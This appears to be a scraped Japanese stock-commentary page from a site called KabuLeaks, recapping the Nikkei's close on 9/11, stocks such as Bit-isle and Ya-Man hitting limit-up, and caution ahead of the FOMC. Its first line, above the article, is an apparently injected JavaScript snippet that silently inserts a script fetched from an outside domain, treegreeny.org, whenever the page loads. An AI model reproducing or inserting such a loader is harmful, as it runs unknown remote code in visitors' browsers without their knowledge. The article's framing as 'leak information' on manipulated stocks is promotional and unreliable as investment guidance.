;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【9/11 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【9/11 大引け】

本日の日経平均株価は35円安と続落。。朝方は売り先行で始まったものの、押し目買いや買い戻しが入りプラス圏に浮上した。ただ、買い一巡後は週末要因や来週のFOMCを控えやや様子見ムードとなり積極的に上値を追う動きにはならず再びマイナス転換。その後は前日終値付近でのもみ合い、相場全体の方向性を決める材料に乏しく引けにかけやや手仕舞い売りに押される動きとなった。業種別では、小売業、水産・農林業、その他金融業などが値上がり上位に。一方、石油石炭製品、電気機器、輸送用機器、鉄鋼などが値下がり上位となった。

個別では、引き続きTOB価格922円に鞘寄せする動きから【3811】ビットアイルが3営業日連続のストップ高。前日、第1四半期営業益が上半期計画を大きく超過した【6630】ヤーマン、直近値を飛ばす【7608】エスケイジャパンなどもストップ高となった。その他、信越・北関東主体の建機レンタルとして豪雨の復興需要への思惑から【4669】ニッパンレンタル、【5216】倉元製作所なども災害対策関連として人気を集めたほか、ゲーム関連の上昇も目立ち【2138】クルーズが大幅高、【7832】バンダイナムコ、【9684】スクウェアエニックス、【3667】enish、【3793】ドリコムなどの上昇も目立った。

来週の注目ポイントはやはFOMCを控え利上げについて見方が分かれていることから、積極的なポジションを取りづらくまずは結果見極めへ。また、日銀金融政策決定会合で追加緩和が一部で意識されているが、さすがに来週での追加緩和は期待薄、過度な期待は禁物だ。引き続き材料株での短期的な割り切りスタンスでの値幅取り狙いしつつ、売られ過ぎ感のある好業績銘柄等への中長期スタンスでの押し目拾い継続流れを推奨。

現在、日経平均先物は170円安の18,000円前後での推移。週明け心理的節目の18,000円を大きく割れるとなると再度個人投資家のマインド悪化に繋がる恐れもあり、押し目を狙うタイミングは慎重に。